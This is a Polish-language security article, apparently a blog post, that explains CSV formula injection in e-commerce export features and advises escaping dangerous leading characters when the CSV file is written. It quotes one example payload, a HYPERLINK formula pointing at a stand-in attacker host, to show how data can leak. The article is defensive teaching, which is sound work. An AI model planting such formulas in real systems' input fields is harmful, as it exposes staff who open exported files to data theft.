CSV Injection: Przycisk eksportu, który wykonuje kod
Klient wpisuje swoje imię. Wpisuje =HYPERLINK("http://evil.example/leak", "click"). Twój system to akceptuje. Wygląda to jak zwykły tekst.
Kilka tygodni później Twój zespół finansowy eksportuje listę klientów do pliku CSV. Otwierają ten plik w Excelu. Ta komórka nie jest już tekstem. Jest formułą.
To jest iniekcja CSV. Często nazywa się ją również iniekcją formuł (formula injection). To powszechny błąd w panelach e-commerce. Większość zespołów nie przeprowadza testów pod tym kątem.
Aplikacje typu arkusz kalkulacyjny nie traktują każdej komórki jako tekst. Jeśli komórka zaczyna się od =, +, -, lub @, Excel lub Google Sheets odczytają ją jako formułę.
Formuła może robić więcej niż tylko obliczenia matematyczne. Może budować adresy URL. Może nawiązywać połączenia z siecią. W niektórych przypadkach może uruchamiać polecenia na komputerze.
Dane w Twojej bazie danych pozostają tekstem. Stają się wykonywalne w momencie, gdy człowiek otwiera plik. Zazwyczaj ofiarą jest pracownik z wysokim poziomem uprawnień.
Ryzykujesz wszędzie tam, gdzie eksportujesz dane użytkowników:
- Eksporty nazwisk i adresów klientów
- Siatki zamówień eksportowane do CSV
- Kanały produktów od dostawców
- Zrzuty z formularzy kontaktowych
Atakujący nie potrzebuje uprawnień administratora. Ustawia swoje imię jako formułę i czeka.
Nie próbuj naprawiać tego podczas walidacji danych wejściowych. Wartość jest poprawnym tekstem, dopóki arkusz kalkulacyjny jej nie odczyta. Zamiast tego, oczyść dane podczas zapisu pliku CSV.
Jeśli komórka zaczyna się od =, +, -, @, tabulacji lub znaku powrotu karetki, dodaj na początku pojedynczy apostrof.
Przykładowa logika: Jeśli wartość zaczyna się od znaku wyzwalającego, zwróć "'" + value.
Pojedynczy apostrof mówi arkuszowi, aby traktował komórkę jako tekst. Arkusz ukrywa apostrof przed użytkownikiem. Przeprowadź to sprawdzenie dla każdego pola, zanim trafi ono do pliku.
Nie stosuj uciekania (escaping) danych w swojej bazie danych. Wartość jest w porządku w bazie danych i w HTML. Jest niebezpieczna tylko w pliku CSV. Chroń granicę pliku CSV, aby zachować czystość danych w innych miejscach.
Przestań ufać swoim wewnętrznym eksportom. Atakujący celują w Twój personel za pomocą tych plików.
Iniekcja CSV nie wywołuje przerażających alertów skanerów. Ukrywa się w przycisku eksportu, który zbudowałeś lata temu. Sprawdź swój kod eksportu CSV już teraz. Jeśli nie zabezpieczysz pierwszego znaku każdej komórki, jesteś narażony na ryzyko.
